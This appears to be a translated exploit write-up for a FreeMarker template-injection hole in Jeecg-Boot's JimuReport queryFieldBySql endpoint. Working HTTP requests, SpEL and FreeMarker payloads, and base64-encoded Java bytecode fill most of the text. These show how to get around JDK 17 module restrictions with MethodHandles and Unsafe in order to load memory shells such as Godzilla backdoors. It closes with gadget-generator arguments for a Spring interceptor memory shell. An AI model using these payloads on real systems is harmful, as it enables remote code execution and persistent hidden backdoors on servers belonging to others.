This hole in the building block report has been open to the public for a long time. It is a FreeMarker SSTI. When it was reproduced before, version 1.6.0 was used to test that it could execute commands and type memory horses, so I stopped taking care of it. I have heard a lot about this hole recently. After discussion, the following payload can be used to execute commands, but the memory horse cannot be injected, so I decided to follow this hole again, and I did not expect to gain a lot.
POST /jmreport/queryFieldBySql HTTP/1.1
Host:
Accept: application/json, text/plain, */*
Content-Type: application/json
{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"id\") }'" }
0x01 Find available payload json format
Directly type the payload of freeMarker and it will appear in org.jeecg.modules.jmreport.desreport.util.f#a()
This method encountered the problem of regular backtracking. After searching, I saw Technical Research | Jeecg-Boot SSTI Vulnerability Exploitation Research This article gives the following payload, which is loaded using script
POST /jmreport/queryFieldBySql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json
JWfzTzb: hostname
{
"sql":"call${\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval('data=\"yv66v....\";bytes=\"\".getBytes();try{bytes=java.util.Base64.getDecoder().decode(data);}catch(e){aClass=java.lang.Class.forName(\"sun.misc.BASE64Decoder\");object=aClass.newInstance();bytes=aClass.getMethod(\"decodeBuffer\",java.lang.String.class).invoke(object,data);}classLoader=java.lang.Thread.currentThread().getContextClassLoader();try{clazz=classLoader.loadClass(\"org.apache.util.readonlyiterator.collections.Wicket\");clazz.newInstance();}catch(err){defineClassMethod=java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\",\"\".getBytes().getClass(),java.lang.Integer.TYPE,java.lang.Integer.TYPE);defineClassMethod.setAccessible(true);loadedClass=defineClassMethod.invoke(classLoader,bytes,0,bytes.length);loadedClass.newInstance();};#{1};')}","dbSource":"","type":"0"}
The first version I encountered during the actual test was version 1.4.3. The above payload will encounter an error. It seems that the higher version does not have the lower version.
Follow up /queryFieldBySql
interface, and a paramArray parameter
I finally participated in the analysis and didn’t have to think about backtracking.
So the final payload is as follows
{"sql": "select '${x}'", "dbSource": "", "type": "0", "paramArray": "({\"paramName\": \"x\", \"paramTxt\": \"\", \"orderNum\": 1, \"tableIndex\": 1, \"id\": \"\", \"paramValue\": \" freemarker payload...... \", \"extJson\": \"\", \"_index\": 0, \"_rowKey\": \"105\"})"}
0x02 SPEL injection (MethodHandle) under higher JDK versions
After solving the above problem, I thought that this vulnerability could be ended, but I encountered another more complex environment. I could execute commands but could not load bytecode. After wandering in circles for a long time, I finally thought of taking a look at the target environment. The system variable is a JDK 18. There are very few articles on the use of higher versions, so I will record it.
POST /jmreport/queryFieldBySql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json
{"sql": "select '${x}'", "dbSource": "", "type": "0", "paramArray": "({\"paramName\": \"x\", \"paramTxt\": \"\", \"orderNum\": 1, \"tableIndex\": 1, \"id\": \"\", \"paramValue\": \"${\\\"freemarker.template.utility.ObjectConstructor\\\"?new()(\\\"org.springframework.expression.spel.standard.SpelExpressionParser\\\").parseExpression(\\\"{T(java.lang.System).getProperty('java.version')}\\\").getValue()}\", \"extJson\": \"\", \"_index\": 0, \"_rowKey\": \"105\"})"}
Used by SPEL to load bytecode org.springframework.cglib.core.ReflectUtils
This class, this class is located in spring-core
The module provides some practical methods for functions such as reflection operations and class loading. For example, the following code will execute open -a Calculator.app
{T(org.springframework.cglib.core.ReflectUtils).defineClass('org.example.Exec',T(java.util.Base64).getDecoder().decode('yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY'),new javax.management.loading.MLet(new java.net.URL(0),T(java.lang.Thread).currentThread().getContextClassLoader()))}
Local testing with the same JDK as the environment will throw InaccessibleObjectException
Exception, this exception indicates an attempt to call java.lang.ClassLoader.defineClass()
Method, introduced in versions after JDK 9 named module mechanism,Will java.*
Non-public variables and methods are declared protected and therefore cannot be accessed directly. This restriction is mandatory in JDK 17.
Caused by: java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte(),int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @4501b7af
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
at org.springframework.cglib.core.ReflectUtils.defineClass(ReflectUtils.java:552)
... 16 more
The official provision is to allow access to protection methods through startup parameters.
--add-opens java.base/java.lang=ALL-UNNAMED
Let’s put aside the discussion about changing the mechanism. Let’s take a look at the higher version first. ReflectUtils.defineClass()
At which step did the method report an error?
in execution classLoaderDefineClassMethod.setAccessible(true);
time, because ClassLoader.definessClass()
It is a protection method so it cannot continue to be executed.
see back ReflectUtils.defineClass()
There is such a description at the beginning of the function Preferred option: JDK 9+ Lookup.defineClass API if ClassLoader matches
directly passed in this execution c = (Class) lookupDefineClassMethod.invoke(lookup, b);
to create Class, and privateLookupInMethod
and lookupDefineClassMethod
It has been assigned in the static method,contextClass
It is also controllable, so in fact, as long as it satisfies contextClass != null && contextClass.getClassLoader() == loader
This condition can realize our needs.
java.lang.invoke.MethodHandles.Lookup
Don't confuse them with JNDI lookup. What are they? Official documentation described in A method handle is a typed, directly executable reference to an underlying method, constructor, field, or similar low-level operation, with optional transformations of arguments or return values.
To put it simply, before JDK 6, dynamic calls were usually implemented through reflection. In JDK7, the concept of a handle is more like a method pointer. The comparison through command execution is as follows:
public static void original(String cmd) throws Exception {
Class<?> cls = Class.forName("java.lang.Runtime");
Object runtime = cls.getMethod("getRuntime").invoke(null);
cls.getMethod("exec", String.class).invoke(runtime, cmd);
}
public static void methodHandles(String cmd) throws Throwable {
Class<?> cls = Class.forName("java.lang.Runtime");
MethodHandle execMethod = MethodHandles.lookup().findVirtual(cls, "exec", MethodType.methodType(Process.class, String.class));
execMethod.invoke(cls.getMethod("getRuntime").invoke(null), cmd);
}
MethodHandles
It also provides methods to perform protection operations. Common MethodHandles.lookup()
Unable to access private methods or fields of a specific class.and privateLookupIn
These restrictions can be bypassed by
Let’s go back and take a look at the general Payload. javax.management.loading.MLet
This class inherits java.net.URLClassLoader
The ClassLoader passed in the constructor still passes URLClassLoader
to deal with it, yes URLClassLoader
If you are more familiar with it, you will know that in this step, the parameters are actually passed to the parent class loader for delegated loading.
This will cause a problem in ReflectUtils.defineClass()
The method can be seen MLet
There is no available class in this loader, so in order to satisfy contextClass.getClassLoader() == loader
Under this condition, simply give up on delegated loading and simply use Thread.currentThread().getContextClassLoader()
According to this idea,contextClass
Just choose one of the ClassLoaders. Since we are parsing SPEL expressions, just choose any class. org.springframework.expression.ExpressionParser
construct this expression
{T(org.springframework.cglib.core.ReflectUtils).defineClass('org.example.Exec',T(java.util.Base64).getDecoder().decode('yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY'),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName("org.springframework.expression.ExpressionParser"))}
You can see that an exception is thrown org.example.Exec not in same package as lookup class
The reason is java.lang.invoke.MethodHandles.Lookup.ClassFile#newInstance()
In this method, the bytecode class name we loaded is inconsistent with the contextClass passed in during construction.
The solution is also very simple, just define a class in the same package, and the SPEL injection of the higher JDK version is completed.
{T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.expression.Test',T(java.util.Base64).getDecoder().decode('yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY='),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName("org.springframework.expression.ExpressionParser"))}
-e JavaClass -jht RceEcho -mw Spring -je SPEL,FreeMarker -jme JDK17
jeecg test successful
because ReflectUtils
is used Class.forName()
Triggered, we directly inject it into Thread.currentThread().getContextClassLoader()
in, so use loadClass()
load again
0x03 Unsafe bypasses JDK 17 reflection restrictions (named module)
At this point we can already load bytecode through SPEL, but we are still a little short of it. We are still restricted by the named module and cannot use the memory horse.Warning by default in previous versions, after JDK 17Forced to open
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte().class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
byte() bytecode = Base64.getDecoder().decode("yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY=");
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
clazz.newInstance();
we are executing defineClass.setAccessible(true);
will still be restricted
You can use it following the previous idea MethodHandles.Lookup
to load, but there is a problem with the same package name. In fact, there is also a newInstanceNoCheck()
Here is another simpler usage, using Unsafe
Method privateLookupInMethod = MethodHandles.class.getMethod("privateLookupIn", Class.class, MethodHandles.Lookup.class);
Method lookupDefineClassMethod = MethodHandles.Lookup.class.getMethod("defineClass", byte().class);
byte() bytecode = Base64.getDecoder().decode("yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY=");
MethodHandles.Lookup lookup = (MethodHandles.Lookup) privateLookupInMethod.invoke(null, Class.forName("org.springframework.expression.ExpressionParser"), MethodHandles.lookup());
Class<?> c = (Class<?>) lookupDefineClassMethod.invoke(lookup, bytecode);
c.getDeclaredConstructor().newInstance();
exist GodzillaMemoryShellProject Unsafe was also used in this project to operate fields, and new ideas emerged following this research.follow up java.lang.reflect.Method#setAccessible()
method, and finally locate the java.lang.reflect.AccessibleObject#checkCanSetAccessible()
judged Module
Is it consistent?
Then we can directly use sun.misc.Unsafe#getAndSetObject()
Modify the Module and java.*
The same way to bypass.
getAndSetObject()
Atomically swapped the specified offset offset
The current value and the new value of the field at, then return the previous value. This means it first gets the current value of the field, then sets the new value into the field and returns the previous value. Therefore, this method not only sets the new value, but also returns the previous value.on the contraryputObject()
There is no return value
Demo is as follows
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Module module = Object.class.getModule();
Class cls = UnsafeDemo.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(cls, offset, module);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte().class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
byte() bytecode = Base64.getDecoder().decode("yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY=");
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
clazz.newInstance();
pwn
-e JavaClass -jht MemShell -mw Spring -ms Interceptor -msf Godzilla -je SPEL,FreeMarker -jme JDK17 -mt raw
GIPHY App Key not set. Please check settings